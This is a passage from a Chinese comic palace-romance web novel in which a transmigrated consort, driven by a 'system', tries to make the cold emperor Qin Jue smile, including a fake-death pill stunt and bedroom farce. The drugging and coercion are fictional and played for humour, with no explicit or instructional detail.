“唉,妾怕是改不过来了,望皇上看妾服侍的不错的份上,高抬贵手,别跟粗鄙之人计较。”
秦玦被噎住,又狠狠剜了我一眼。
便宜占到,我心满意足地替他整理了一下衣领,蹭过那些暧昧的痕迹。
“皇上还生气吗?”
秦玦后退一步,一脸戒备,明显应激了,“你要干什么?”
“妾不干什么,”我牵着他的手晃了晃,“妾关心皇上。”
秦玦舒了口气,说的勉强又别扭,“朕昨夜……松口答应了你不计较,不过,下不为例。”
“那皇上要给妾什么赏赐啊?”
赏赐?秦玦抽出自己的手,面无表情地拿出丝帕擦拭。
“朕不杀你都已经是格外开恩,你还有脸要赏赐?”
“妾知道,皇上舍不得妾,妾也是。”
我抱着皇上在他胸前使劲蹭了蹭,“皇上随便赏妾点什么都好。”
他推开我,我贴上去,再推,我继续贴。
几个回合之后,我成功贴住了他。
秦玦身上酸疼的更厉害了,“你想要什么?”
周家获罪,后宫里的人惯会见风使舵,秦玦不介意给个恩典让她舒心些。
前提是这贪婪的女人最好不要太过分。
“想要皇上的一个亲亲。”
秦玦将帕子扔在我身上,沉着脸离开了。
我美滋滋地躺回床上,翘起二郎腿,召唤出系统。
“任务完成了,我厉害吧。”
地狱开局,首战就大获全胜,这还不骄傲有点说不过去了。
幸福的日子在向我招手。
啊,明天!
啊,光明!
“是否现在接第二个任务?”
呦,今儿个怎么这么有礼貌。
“接呗。”
一鼓作气,再而衰,三而竭。
我现在强的可怕,就算让我当女皇我都不带抖一下眉毛的。
“任务发布,第二个任务:逗秦玦露出个发自内心高兴的笑,期限:三天,若完成不了任务,宿主的生命将直接进入三小时倒计时。”
什么笑?谁在笑?
你爹的!我是狗吗我要逗他笑!
我仿佛看见有簇圣洁的光打到我的脸上,一群天使绕着我打转。
秦玦这种男人,哪怕征服了他的身子,都征服不了他的心。
这任务简直比让我单挑他并且赢了还要难啊!
“我可不可以选择去救我老爹啊?”
看在昨晚的“情分”上,这件事或许还能有点指望。
“不行,你可以选择成为女皇。”
“......”
偷听别人心声的人不得好死!
秦玦坐在朝堂之上心不在焉,他盯着晃动的珠帘,耳朵里嗡嗡的,什么都听不进去。
大臣们见皇上今天一言不发,以为他心情不佳。
从南方的水灾想到户部的亏空,心里头有事没事的都敲响了警钟。
甚至连大牢里的周将军都算上了,也没琢磨出皇上为什么生气。
秦玦看着底下鹌鹑般畏畏缩缩的大臣们,心里更烦躁了。
“诸卿还有何事要奏?”
皇上语气里的冷意藏都藏不住,下头的人倒是挺想把自己藏起来的。
哪还敢再说什么。
“诸卿尸位素餐,就是这样效忠朕的吗?”
秦玦心里有火发不出,他焦躁地直了直身子。
“啪嗒!”
有什么东西流下来打在了腿上,他低头,明黄的龙袍上开出点点红梅。
“皇上!”
离得最近的丞相惊叫出声,大殿上一片慌乱。
很快秦玦就被搀扶着离开朝堂回到勤政殿,他松开捂着鼻子的手。
李居怀赶忙吩咐人去给皇上擦拭,两张浸满血污的帕子被拿下去。
丞相宋远之拉住御医,“皇上可有大碍?”
“皇上并无大碍,就是......就是......”御医卷着袖子擦了擦头上的汗。
“吞吞吐吐作什么!”
“皇上下焦阳气过足,火气太旺。”应该是最近补过头了。
当然,后半句他可不敢当着这位严肃的丞相的面说。
“可有大碍?”
“皇上血气方刚,应无大碍......”
不过皇上年纪尚轻,怎么就用了这么猛的药?
御医觉得自己好像知道了什么皇家绝密,脖子都凉飕飕的。
宋远之:“什么应无大碍!龙体岂能儿戏!”
几个御医被丞相拽着唠叨了好久,开了方子才能离开,走之后还战战兢兢,生怕皇上有意为之,坏了皇上的事。
被误以为主动喝壮阳药的皇上躺在床上眼含冷光浑身燥热,宋远之等一众大臣还围着他嘘寒问暖。
秦玦强装镇定地拉过薄被盖在身下,在一屋子的男人和太监面前……
他居然可耻地……
“药熬好没有!赶快!”
秦玦闭着眼接过熬好的药,连灌三大碗。
他躺在床上仔细感受了一下。
苦涩从唇齿灌溉到了心底,如同一团……
他感受着。
如同一团空气!
怎么还是这么热!这哪来的庸医,开出的药一点用都没有,居然也配在宫里当差!
该死的周妧,到底给他喝了什么鬼东西!
喝退了因为担心一个劲想亲自在他身上检查的宋远至以及各种不相干人等,秦玦猛地从床上坐起来。
李居怀
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被吓了一大跳,“皇……皇上,您怎么了?”
秦玦脸上五颜六色,他阴恻恻地笑了。
“备撵,去玉阳宫。”
李居怀胆战心惊,这周家女果真一举夺得了圣心。
他又往秦玦身上看了一眼,皇上哪都好,就是平时太忙,见的女人太少。
捡了芝麻,当作西瓜。
秦玦坐在轿撵上掩饰自己的不自然,一路都想着如何把周妧千刀万剐。
到了玉阳宫外,不知怎么想的,他又制止了一干侍从,一个人走了进去。
海棠花树下,女人脸上盖着一把蒲扇,躺在藤椅上打盹。
花影打在她身上,说不出的静谧安宁。
秦玦走到她的跟前,缓缓伸出手。
推翻了藤椅。
在即将摸到小狼狗腹肌时,天旋地转,我又趴在了地上,这次还吃了一嘴土。
“他妈的,又是哪个孙子!”我呸了几声后怒吼道。
睁大眼睛看清长身玉立的男人,我立马改口:“都别和我抢!只有我才能给太后生孙子!”
这狗东西手怎么这么欠。
“周妧,朕本不欲对你动手,奈何你三番两次找死。”
摆好椅子,拉着皇上坐下,我蹲在一旁给他扇风,“皇上这话从何说起?”
“你给朕喝的什么药?”
我:“神药啊。”
“李居怀!”
我死死捂住他的嘴,整个人都趴进了他的怀里,“妾爱皇上,皇上心里却没有妾,那妾就只能自己想想办法。”
“你别在这装模做样的,一口一个妾,你若真的端正自己的身份,怎么敢这么对朕,胆敢给天子用那种下作的药,你有几个脑袋够砍,还是说周家有人指使你。”
“没人指使我,我就是喜欢皇上。”
“喜欢朕?”秦玦哼了一声,“因为你的那碗药,朕到现在都浑身无力,流了一上午的鼻血,还......”
他戛然而止,一脸羞愤。
“还什么?”我在皇上胸口戳戳点点,“还惦记我吗?那我就是即刻被皇上处死也不后悔。”
“真的?那朕即刻下旨赐死你。”
秦玦捏住我的下巴,笑的意味不明。
“只要是皇上喂给我的毒酒,我一定喝,皇上……”
我低头,他本能地闪躲,就只亲到了唇角,我也不强求,老实地待在他怀里。
“皇上舍得我吗?我这么好。”
秦玦被气的气血翻涌的更厉害,“好在何处。”
我:“满心满眼都是你。”
他修长的手指顿时在我的颈间收拢,我并不挣扎,眼里的幸灾乐祸险些藏不住,不好受吧秦玦,连指尖都是滚烫的。
他手指收紧,我难受地喘不上来气,肺里的空气一点点消耗殆尽。
我们依旧对峙着,他不松手,我也不反抗。
直到我的视线开始模糊,在无尽重影中,在模糊世界里。
拂下落在他肩头的海棠花。
他蓦地松手,我捂着脖子咳出了眼泪,“咳......皇上舍不得对吗?”
“你的命还有用。”他别开了眸子。
“行,我的命给皇上留着,反正我什么都是皇上的。”
我躺在他的身侧,两个人挤在一起,距离很近,能感受到他胸膛的起伏。
“皇上开心些了吗?”
秦玦凤眸一眯,“又想算计朕什么?”
“如果皇上开心些,能不能给妾笑一个?”
他闭上眼睛,像是没听到我的话。
我的脑海中蹦出了一句话。
少爷已经十年没笑过了。
我比秦玦先笑出来,他森然的眼眸看向我,我立马正色。
“皇上是我见过长得最好看的人,笑起来肯定更好看。”
5. 用治疗面瘫完成任务
云层翻滚,天色陡然暗了下来。
享受不了日光浴,我无聊地在院子里走了走,蹲在树下捡掉落的海棠花。
情绪稳定真的很重要,不然像秦玦那样天天挂在过山车上。
聊的好好的,说翻脸就翻脸。
再不养养生了,就没几年好活了。
哪像我,即使又被他掀翻在地上,掸掸灰,站起来还是一条好汉。
一点也不生气。
我使劲在树干上踹了一脚,脚心发麻。
花瓣扑簌簌的掉了一地。
皇上霸占了我的地盘,在里头看书。
我从打开的窗户缝中把脑袋钻了进去,看着无论什么时候都正襟危坐的人。
“皇上,皇上,您渴不渴呀?”
秦玦眼皮都没抬一下,这种正经人就是厉害,随随便便就能打开信息免打扰。
又过了会儿。
“皇上,您饿不饿,想不想吃果子?”
意料之中的没得到回应。
我趴在窗台上,歪头欣赏美人。
有个麻雀见我一动不动,以为是雕塑,停在了我的头上,还厚着脸皮在我发髻里啄了一下。
我屏住呼吸,悄悄伸出魔爪,在它试图搭窝前,抓住了它。
小麻雀吓得在我掌心里吱哇乱叫。
我兴奋的手舞足蹈,“皇上快看!”
“皇上,我捉到了一只小鸟,厉害吧!”
我从正门跑进来蹲在他面前,麻雀像是上了发条般,脑袋机械地律动着,我向前抬手献宝。
秦玦捡起被碰掉的书,总算给了我一个眼神,“脏死了。”
“不脏,你看多好玩。”
我拿着小鸟往他的袖子上靠了靠,他蹙眉移开手,嫌弃道:“离朕远点。”
“绿柳,去找个笼子,这可是皇上和我的定情鸟,得好好养着。”
我不由分说地把麻雀塞给绿柳,一转头,皇上的脸黑了下来。
“谁和你定情了!”
“长得好看的那个呗。”
“周妧!”
“好了好了,是皇上行了吧。”
“去死吧你!”
秦玦扔下书,他头昏脑胀,耳畔嗡嗡作响,不用想也知道是那劳什子神药的“功劳”。
他手搭在太阳穴上,在脑海里描绘了一下把周妧大卸八块的痛快场景。
墨发金冠的美人长睫低垂不知道在想些什么,我伸出魔爪,在美人面上轻轻一掐。
我发誓,绝对是轻轻。
但细嫩的面皮上几乎立刻留下了两轮月牙印记。
“皇上,谁这么大胆?居然敢掐您的脸!瞧这印子,我心疼死了。”
我夸张的捂住嘴。
不是我,绝对不是我。
如果怒气能具象化,秦玦头上已经冒出了滚滚黑烟。
他深吸一口气,再深吸一口。
“狗掐的。”
我装作没听见他骂我,又在这个锦衣玉食中养出来比豆腐还嫩的小脸上摸了几把。
“你干什么!”
秦玦像是被什么脏东西碰到一样,拍掉我的手不够,还皱着眉连连后退。
这就过分了吧,脸长得这么好看不就是给人摸的吗?
我就不介意秦玦摸我,“皇上对我好凶,您居然还打我,我好痛,心痛。”
秦玦寒潭般的眸子即使没有波澜也能折射着令人心惊的美。
“装腔作势。”
我:“真的很痛,要不您摸摸?”
秦玦被呛到,原地咳嗽了很久,他脸上被逼出生理性的红,忍得艰难,从牙缝里挤出几个字。
“你是不是想死?”
我在他下巴上刮蹭了一下,“不想死,想你。”
挑衅的后果就是,我火急火燎地在身后漫天零零碎碎中抱头鼠窜。
激动就激动,干嘛掀桌子呢。
我跑得很快,在马上要出宫殿时迎头撞上了人,我像头没上缰的马,直接把人撞飞了。
“周美人怎么这么着急?”
李居怀瘸着腿赶紧先扶起坐在地上眼冒金星的我,他掌心被磨破,疼得微微蜷起手指,也许是不愿意把冒出来的血水抹到我衣服上。
才来这儿三天,我觉得自己迟早脑震荡。
“抱歉啊李总管,皇上让我滚得远远的。”
我低着头,把散落的细碎头发别在耳后,手背上红肿的痕迹很明显。
我感到头顶的视线停留了一瞬,抬眼发现他神情淡漠,只疏离的把规矩做好。
我又到:“你知道这宫里有什么地方可以散心吗?”
“那美人往那边去吧,”李居怀朝着一个方向指了指,“那边风景更好看些。”
我面上兴致缺缺,强撑着挤出了笑,“多谢李总管。”
李居怀在周妧转身后甩了甩被撞麻了的胳膊,皇上不中意她吗?
他走进玉阳宫,恭谨表情之下是御前侍君惯有的渊思寂虑。
这怎么可能……
走出众人的视线范围,我脸上的不高兴一扫而空,咧着嘴笑。
太好了,玩去喽。
顺着宫道走啊走,朱红的围墙笔直向外蔓延。
华丽,庄重,威严。
仿佛是一辈子都走不到尽头,连耀日的辉光都被削减了几分。
我想起了说宫门似海的人。
他们对宫外的日子充满向往,觉得除了皇宫哪里都是极乐之地。
里头的人想当神,外头的人想当人。
殊不知即使逃离了这片海,也不过是跳入另一片更深的海。
不为活得好厮杀就要为活着而厮杀。
我就不挑,活着是种修行,在哪儿还不都一样。
主要是皇上好看。
——不,或许还有其他人。
我震惊地瞪大双眼。
几步外的树下靠坐着一人,长发散在白衣上盖住银色流光的花纹,他下颌偏尖,眼尾有颗小痣,显得人孤冷又脆弱。
一双清隽的眼睛望着远方,却失了焦距,像一捧孤冷倔强的月光。
这是哪里冒出来的帅哥?
有人认领吗?没人的话我就上了。
我的胸膛立刻被责任感填满,没办法,能力越大责任越大,拯救破碎美男就是我的命。
我走到他面前,“你迷路了吗?”
他似乎真的不能视物,但也没被我的唐突吓到,笑着摇头。
我拉起裙摆坐在他旁边,“今天的太阳真好,花开的也很漂亮。”
他拾起一片树叶,摩挲着上面的纹路,“是吗?可惜我看不到。”
我托起他的手,指尖轻轻点在他的手背上,让日光穿过枝叶的缝隙落在他冰冷的掌心,“感受到了吗?阳光。”
万俟镜动了动手腕,陌生的柔软蹭的他有些不适,他心中生出了些难言的古怪,“感觉到了。”
我牵引着他的掌心,触摸了从树上落下来的每一缕阳光。
“其实看不见太阳也没什么要紧的。”
万俟镜向一旁偏了偏头,发丝垂落在我们相碰的掌侧。
他像是没有注意,“为什么?”
当然是因为我能看得见,那句歌词怎么唱的来着。
得不到的永远在骚动,被偏爱的都有恃无恐。
我这明显是有恃无恐。
我:“人活着需要阳光,人活着不需要看见太阳。”
“它对你对我都一样,谁也没有多得到,谁也没有多失去。”
他身体一僵,修长的手指抖了一下,唇角的笑很苍白。
“谬论,世间于你们是繁花似锦,于我分明是伸手不见五指的无底洞。”
我站起身,在周围晃悠了一圈,折下朵花扔进了他的怀里。
“这是最漂亮的一朵。”
万俟镜坐在树下没动,望着女人离去的方向,直到最后一丝声响消失。
他拿起花轻轻抚过层叠的花瓣。
手掌用力。
尖锐的刺穿破肌肤,温热的血顺着手腕蜿蜒。
就像刚才。
比太阳还温暖的,一个女人的体温。
抽出一张帕子包住这朵花,万俟镜閤上了眼。
很快,甜腻的花香混着血腥味被风吹散。
我蹦蹦跳跳地跑回玉阳宫,一共迷路了三次问了五个小宫女才回到我熟悉的小窝。
“皇上有没有想我!
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在即将进去时李居怀拽了我一下,嘱咐道:“美人收敛些,皇上刚刚心情不好,发了好大的一通火。”
要我说你们就是小题大做。
一天十二个时辰,他十个时辰心情都不好,剩下的两个时辰不是在发疯就是在发疯的路上。
都是惯的,你们不惯着他试试。
我先不试。
我感激地朝他一笑,往殿里探了探头,小心翼翼地往里走。
秦玦趴在香几上,面色潮红,浓密的睫毛不时颤动着。
睡着了?
我蹑手蹑脚地跪坐在他跟前,小心地用袖子沾去他额头上沁出的细汗,拿起我的蒲扇,轻轻地在他身上扇着。
这人,不折腾的时候还挺安静的。
我支着头看着他,不知道过了多久,他缓缓睁开眼。
初醒的凤眸里朦朦胧胧,少了许多迫人的意味,“周妧?”
秦玦的目光从我的脸上移到我的蒲扇上,不知道联想到什么,一脸嫌弃,“丑死了。”
喂!把话说清楚,你是在说我还是蒲扇,这可是原则问题!
“皇上您看!”我从身上掏出了个绿色的东西,带着草木清新的味道,“本来想给皇上摘点花,结果外头的花都丑死了,配不上您,我就给您做了个柳笛。”
果然大家说语文会在人生中持续发挥影响,小学语文课本也不例外。
现在还能派上用场。
我献宝似的把手指长还带着几片小叶子的柳笛摆在他的眼下。
秦玦觉得自己从出生开始就没见过这么粗丑的玩意,他一脸抗拒地看着我将丑东西放在唇下。
“呲啦”一声,笛声响起。
他被惊得一震,只感觉到魔音贯耳。
我吹的如痴如醉,努力吹出了《老鼠爱大米》的调子。
没坚持多久,他就从我嘴里夺走了柳笛,“好了,别吹了。”
“好听吗皇上?”
秦玦看见周妧的嘴在动,聚精会神才听清他说的是什么。
刚才曲子的杀伤力实在太大。
他白了我一眼,此刻有个更艰难的抉择摆在他面前,天渐渐黑了下来,他到底是走还是留。
按理说,秦玦是多看周妧一眼都嫌烦,可他身体一会冷一会热,好不容易熬到现在,但要是就这么便宜周妧,他又恨得牙根痒痒。
我不用看他那调色盘一般的脸色就知道他在想什么,他的激情全用在了驾驭群臣征服天下上,对后宫那些逆来顺受心怀鬼胎的各路女人没什么兴趣,更不可能白日宣淫,要不是因为神药,他肯定不愿和我发生什么关系。
他不是想要守身如玉,而是觉得男女隐秘之事配不上他血统的高贵,后宫女人配不上他在政治上真正的风流意趣。
笑死,谁还非得配他不可了,他以为他是什么,老干妈吗?
可我还有第二个任务,所以我不得不复制粘贴,又“强迫”了他一夜。
他那叫个百般不情愿宁死不屈,衬托的我简直就是色魔转世。
风评名声,一生清白。
尽数毁在这个男人手里。
我可是个天真烂漫的小姑娘啊。
床幔在晃动中平静了下来。
我已经像一条咸鱼,湿答答躺在床边看着头顶的流苏,眉都不抬一下地向后将被子甩过去,盖在“臭不要脸”光裸的脊背上。
想想刚才就来气。
不管怎么让他笑,系统就是检测不到任务完成。
这种情况直接被默认无效。
我使劲浑身解数,就差闻鸡起舞了,最后还是竹篮打水一场空。
人麻了,这任务根本不可能完成。
秦玦从感官的激荡中回过神来,他推了推我,“朕渴了。”
那就渴死。
我闭着眼,装作睡着了,懒得搭理他。
被子那头传来动静,秦玦很轻地披上外衣,一个人倒了杯凉透的茶水,站在窗台前看着天边的明月喝了个干净。
半梦半醒中,有什么像羽毛一样在我脸上蹭了一下。
我伸手挠了挠,迷迷糊糊说了句梦话。
“皇上,我给你找个专业治面瘫的吧......”
6. 用假死完成任务
秦玦的动作一滞,脸比夜色还要黑,他想伸手把人推醒。
又听她道:“为什么不笑呢,是不开心吗……”
秦玦的手横在她脸侧,慌忙收住的指间勾住她的发尾。
他触电般将亲密的距离打碎,呼吸凌乱。
靠!秦玦要看着我到什么时候,他压断了我好几根头发,怪疼的,想装没感觉都难。
我暗骂着他,索性一头扎进熟悉的冷香,忽略他的僵硬,得意地睡了过去。
别说我骗他,这么大的人了还搞纯爱的那一套。
我分分钟让他知道社会的险恶,白雪公主也有可能爱上给她毒苹果的巫婆。
谁在梦里还叫皇上,不痛骂他都得归功于九年义务教育培养我的素质教育。
不就是笑一下嘛,有什么难的。
明天早上趁热打铁,一定能完成任务。
——
强烈的光线照进来时,我在床上舒服地伸了个懒腰,没有一丝阻挡。
秦玦呢?
我猛地清醒,床上只剩下了我一个人。
本来打算早起突击一下,天杀的秦玦今天居然没叫我起床?!
现在已经是中午,倒是补上了这两天没睡够的。
除了系统,就连这具身体都成了我的甲方。
一不留神就被迫还债。
什么时候活着才能不用打工!
“绿柳,绿柳,皇上走的时候怎么没人叫我!”
我在床上揪着头发阴暗爬行。
绿柳伺候着我起床,“……皇上说反正美人起来也没什么用,睡着还能少添点乱。”
秦玦你这个王八羔子!你以为就你有任务啊!
“那他有没有说什么时候再来啊?”
我扒住绿柳,拽的她一个踉跄。
绿柳稳住身子,“奴婢不知。”
我,“......”
绿柳小心地看了我一眼,艰难地开口,“美人,皇上今晚可能不会来了。”
我更崩溃了,“为什么!”
绿柳眼里的同情看得我汗毛都竖了起来。
她道:“皇上从没连续留宿后宫的惯例。”
很好,周是我的姓,疯是我的命。
我服了,为什么这些高贵人稀奇古怪的毛病这么多!
他们的原则就是为了为难别人不成?!
我一下午都在自己的宫里急得团团转,时间每流逝一秒,我的恐惧都在成倍叠加。
天就这么暗了下来。
“美人,”绿柳慌慌张张的从外面跑了进来,“奴婢打听到了,淮南王进宫了,皇上肯定不会过来了。”
!!!
他妈的,淮南王又是谁!
我要去杀了他!
“他来和皇上有什么关系啊!”我抓狂道。
难不成皇上要在他那里解决?!
等等,难道说秦玦当皇上就是为了光明正大吃上这一口?
绿柳解释:“每每淮南王进宫,皇上都会去看他的。”
我轻轻地碎了。
不,不行。
我管他有什么癖好,我可是生死之战!
“绿柳,”我拉住她的手,“我现在还是罪臣之女,没有传召不能离宫,有件事我想求你帮我,这件事一个不小心可能就没命了,可我现在真的走投无路了,你......敢不敢?”
绿柳一个人在幽深黑暗的皇宫中穿行,这是她第一次抬起头走路。
或许也是最后一次。
刚刚美人问她,敢不敢。
她什么都不敢。
这里是深宫,住着天底下最尊贵的人,她的命连这里的一根小草都抵不了。
能杀死她的人太多,可她偏偏又想活着。
奴才从不思考活着的意义,那是要人命的玩意儿。
可美人从来都没有把她当过奴才,所以她不怕。
绿柳走到了水月阁外,这是淮南王在宫里的住处。
他以往入宫,皇上都会抽出半个时辰在里面陪他。
不合规矩的地方太多,竟也无人敢过问。
李居怀注意到自远处跑来的小宫女,目光一变,寒声吩咐周围的侍卫。
“拦住她!”
那小宫女铆足了劲儿冲进来,距离拉近,李居怀看清了她的脸。
“等等!”他喝退了拔出剑准备往她身上插的侍卫。
“你是玉阳宫的人?怎么这么不懂规矩!这也是你配来的地方!”
绿柳跪在地上结结实实磕了个头,抖着说:“美人快不行了!”
我不知道绿柳那边的情况怎么样,刚刚从系统那里兑换了一个假死丹。
在昨天碰到那个瞎子美人的时候,系统提示我触发万俟镜隐藏任务。
隐藏任务必须得做,不过完成的话可以获得积分从系统商店兑换道具。
本来就是想随便看一眼能兑换什么,结果差点被闪瞎双眼。
我是个有原则的人,除非给的太多。
隐藏任务很简单,就是刷好感值,上限100,好感值即兑换积分。
昨天在树下的那一通瞎撩,万俟镜的好感值就直接上升了三十。
世界基本定律之一,乖孩子总能被黄毛骗走。
“这个药吃了不会真死吧?”
我第十遍问。
“......不会,这个假死丹是升级版,吃下后立刻没有生命迹象,时效十分钟。”
系统第十遍答。
我估摸着时间应该差不多了,躺在地上扯了扯裙子摆了个唯美的姿势。
咽下药后,意识逐渐模糊。
也不知道秦玦会不会来,别到时候我躺在地上只能吓到绿柳......
秦玦压根不知道自己为什么要来。
明明心里清楚这多半是那女人的鬼把戏。
她会死?
太医早就说过她余毒已清,一顿能吃俩馒头还得加个咸鸭蛋的。
秦玦看到地上的女人,躺的那叫一个矫揉造作。
这种戏码,从小到大见过的没有成千也得上百。
他不耐烦的踢了踢她,“行了,别装了,你叫朕过来干什么?”
地上的人一点反应都没有,秦玦感到不对劲,“周妧?”
这具身躯正在一点点变凉,搭上她脉搏的那一刻,秦玦的心跳漏了一拍。
他愣住了,大脑空白了几秒,才轻轻唤了一声,“......周妧......”
怎么……
“李居怀!”秦玦感觉自己的心跳快的即将失控,“去叫御医。”
御医连滚带爬赶到玉阳宫,来不及给皇上问安就被李总管拉到周美人跟前。
……怎么又是她。
这周美人整的什么幺蛾子,三天两头的快死了。
干脆直接去阎王爷那儿报道得了,省得折腾他们下边的人。
不对!
御医心里一惊,这分明......
死透了。
他仔细检查了一番,腿一软跪了下去,“皇上,周美人她、她......”
皇上周身散发着煞气没什么表情的看着他,他更是抖如筛糠,却也不得不强忍惧意开口,“周美人殁了......”
秦玦在御医说完这句话后,仿佛被什么东西掐住了脖子。
“......皇上。”
不好意思,其实是我。
时间到了,我不得不醒过来,以防真被埋了。
我此时正攥住皇上胸口的衣服,努力起身。
秦玦朝着声音来源低下头。
大眼对大眼。
他脸色苍白,比我也好不到哪儿去。
嗯,心里平衡多了。
我心里一平衡,就要有人心理不平衡了。
皇上的脸瞬间颠倒了个颜色。
整个玉阳宫充斥着令人胆寒的冷意。
秦玦额上浮起青筋。
好个御医,真是有本事的狠,胆敢戏弄他!
“你刚刚说,谁殁了?”
这怎么可能?!
御医跪都跪不住,直接趴在了地上。
我摸到皇上垂在袖子里的手,他的掌心一片冰凉。
“皇上......”
即使我的身体还没完全恢复,眼前一阵阵发昏,仍然敬业的开始浮夸派演技。
“皇上,快抱抱我。”
秦玦在生气,尴尬成这样他不生气也下不来台,现在恨不得彻底坐实“殁了”这两个字。
御医:“!”
能不能替我求求情。
“皇上,我一天都没见您,真的好想您。”
秦玦在生气,依旧不理我。
御医:“!”
能不能替我求求情。
“皇上,我刚刚想着,不管怎样,临死前都得见您一面,就像冷宫那次。”
我拉着他的手放在自己的胸口,“谁叫我眼里心里都是您呢。”
御医:“......”所以周美人你为什么要害我,你没事吧,没事就替我求求情。
秦玦揉揉自己的眉心,挥手,“都下去吧。”
很快,殿里就只剩下我和他。
我偷偷撇了撇嘴,随即扬起一个脆弱但坚强的微笑,做一个柔弱的小白花。
“我吓到皇上了是不是?”
秦玦抽出被我桎梏住的手,压了压锦被:“怎么做到的?”
我眼珠转了转,露出经典傻白甜的微笑,“皇上在说什么呀?”
“你叫朕过来干什么?”
靠,聪明哥,你非要这么聊就没意思了。
“我想陪着皇上,天天陪着的那种。”
秦玦眯着眼冷笑,“周家到底是怎么教孩子的,规矩学的这么差都敢往宫里送。”
我打了个哈欠,眼里蒙上一层水光,“周家是天下第二好的地方,我小时候喜欢缠着大哥,觉得他是全世界最好的儿郎,大哥很温柔,从来也不嫌我烦的,走到哪里都愿意带着我。”
“我娘是个一辈子没出过闺阁的小姐,她不希望我和她一样,只能站在四方院子里看日升月落,就也不拘
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着我,让我天南地北的疯跑。”
秦玦若有所思,眼神一变,“那你为什么会进宫?”
因为......
我眸光闪了闪,“因为喜欢皇上啊。”
秦玦翻了个白眼。
第一次见他露出这样接地气的表情,乐得我抱着枕头在床上滚着笑。
脚不小心踢到了他的背上,冷冷的目光扫来。
“周妧,不要以为你胡说什么朕都会信,朕可不是你能信口开河的人。”
“我哪里胡说了,皇上不信的话,大可以随便找个周家人来问问,就知道我所言非虚了。”
“朕说的不是那些。”
“那是哪些?”
秦玦默了一瞬,并没有继续说下去的打算。
我懒得管他心里和任务无关的弯弯绕绕,唤来绿柳为他更衣。
绿柳这胆小的丫头全程不敢乱看一眼,麻溜的跑了出去。
这孩子的脑子怎么老不开窍,福利送到眼前了都不要。
秦玦皱着眉,想着自己怎么又被赶鸭子上架歇在这里,一回头,又看到我在床上摆出的美人鱼经典姿势,脱口而出。
“你要干什么?”
我要干什么?我要跳起来打你!
难不成我现在看起来很像进攻的姿态吗?
美女的事少管懂不懂。
我将对他的厌恶转化为对自己的恶心,夹着嗓子。
“我乖乖等着皇上呢。”
掀开被子分给他一半,我熟门熟路按住想背过身的秦玦,钻进了他怀里。
手还摸上了他的腰。
秦玦推了推我,挣扎起来,“别抱着朕。”
哦,那好吧。
我把无处安放的手搭在了他的胸上。
秦玦:“......”
“我给皇上准备了惊喜,皇上想不想看看呀?”
提到“惊喜”他就想到那碗药,秦玦顿时起了一身鸡皮疙瘩,“睡觉!”
“皇上看看吧。”
“......”
“皇上,这个惊喜真的特别好。”
“......”秦玦的头侧向了另一边。
“皇上,您睡了吗,睡着了吗?”
“......”另一侧呼吸平稳。
我在昏暗的烛光中看着他凌厉精致的下颌线。
当皇上也挺不容易的,一天下来处理朝政平衡各方势力忧虑百姓民生。
到了晚上才得片刻喘息,他......挺不容易。
“周妧!”
不容易的皇帝陛下突然暴起,“你是不是有病!”
?
??
???
我不过是在你胸上摸了几下而已。
再说,你不是都睡着了吗?
“皇上醒啦,那就看看我给你准备的惊喜吧。”
我手一扬,不知道是什么玩意的东西在床帏间洋洋洒洒,劈头盖脸全砸在了他的头上,边缘很硬,砸得他眼都睁不开。
完了,我躺着,他坐着,方位没照准,花瓣雨像是暗器一样打在了他的脸上。
演砸了。
秦玦额头上露出了青筋,差一点以为她要行刺。
这可是我昨天辛辛苦苦捡好晾干的海棠花。
本来打算小小的浪漫一下的。
惊喜差点变暗杀。
我在糟糕的情景下赶忙坐起来在他身上拍了拍。
晒干的花瓣很易碎,有些缠在了他的发丝中间。
在他越来越难看的脸色中,我藏起手心拽下来的几根头发,不敢再有所动作。
“皇上对不起!”我扑到他的怀里,把头埋在他的胸前,感受到了剧烈的起伏,“我不是故意的,你打我吧。”
一只小手可怜兮兮地举在秦玦眼下,他别开眼,依旧气得不轻。
他静止着,在我被吓哭掉眼泪后,低头扯开了我,墨色的发也流淌下来。
“睡觉!”
我确实被吓哭了,眼看任务遥遥无期,不等秦玦动手,我也是死期将近在劫难逃。
“皇上对不起。”
秦玦睁着眼,一点睡意也没有。
“周妧,你到底想要什么?”
你要是说这个,我趴到了他的身上,看着这张冷艳浓丽的脸,你要是说这个我可就来精神了。
“皇上,你不开心吗?”
秦玦挑眉,讽刺道:“我该开心吗?”
就知道这小心眼的男人动不动就翻旧账。
我抱的更紧了些,“那皇上告诉我您怎样才会开心,我一定做到。”
他不说话,我继续道:“皇上知道为什么周家是天下第二好的地方吗?”
他长睫抖动了一下。
“因为对我来说,”我顿了下,“第一好的地方是皇上身边。”
听见没,我和你天下第一好。
和别人是假玩,和你才是真玩。
秦玦微微侧身,我从他的身上滑了下来,心里正丧气着,听到他清绝的声音。
“睡吧。”
7. 用迟早挖野菜完成任务
这谁敢睡啊。
秦玦现在的温柔就等于阻挠我完成任务。
马上就第二天了,他多半能“心疼”地让我直接睡到去死。
我还在绞尽脑汁地思考怎么再哄骗点他的真心,旁边已经传来了规律的呼吸声。
?
!
我晃了晃秦玦的胳膊,他不仅没睁开眼,而且还翻了个身。
不是哥,秒睡的吗,你怎么就困成了这样?
我心疼地抱住了可怜无助又弱小的自己,在立刻死和后天死之间选择绝地求生。
——
一阵轻响,流苏和烛影摇曳。
秦玦睡得很沉,难得一夜好梦。
玉阳宫里从不焚香,周妧身上也没什么脂粉味,不会熏得人头疼。
秦玦在尚不强烈的光亮中保持了头脑的清醒,心情舒畅地迈出了一日的第一步。
“啊!”
一声凄厉骇人的尖叫穿透玉阳宫,一个泪流满面的女鬼爬了起来。
我的腿!
我瘸了!
谁!谁敢暗算我!
秦玦尴尬的摸了摸鼻子,看着我抱着左腿满屋子乱蹦,“好端端的你为什么要睡在地上......”
狗日的!还不是怕你起来之后不声不响的又跑了!
结果千算万算没算到你眼神不好使!
一脚踩在了我腿上!
早知道我就“不小心”往地上扔个老鼠夹了。
疼死我了!!!
踩了我娇嫩的大腿还敢倒打一耙,我非得......我非得......
听到声音,李居怀带着几个魁梧的内侍闯了进来,像是牵了几头熊,“皇上,您没事吧!”
……有事的是我!
我流着眼泪挂着鼻涕,“呜呜呜......没硌到皇上的脚吧?”
内殿里就我们两个人,你他妈这么大阵仗是吓唬谁呢?
针对性太强,世道不易,靓女哭泣。
秦玦:“......朕......没看见你。”
他伸手,在我的伤腿上按了一下。
“啊啊啊啊!好疼!”我鬼哭狼嚎。
秦玦动作一顿,吩咐道:“去叫御医。”
我半倚在他身上,泪眼汪汪,“算了别麻烦了皇上,我忍着抹点药就好。”
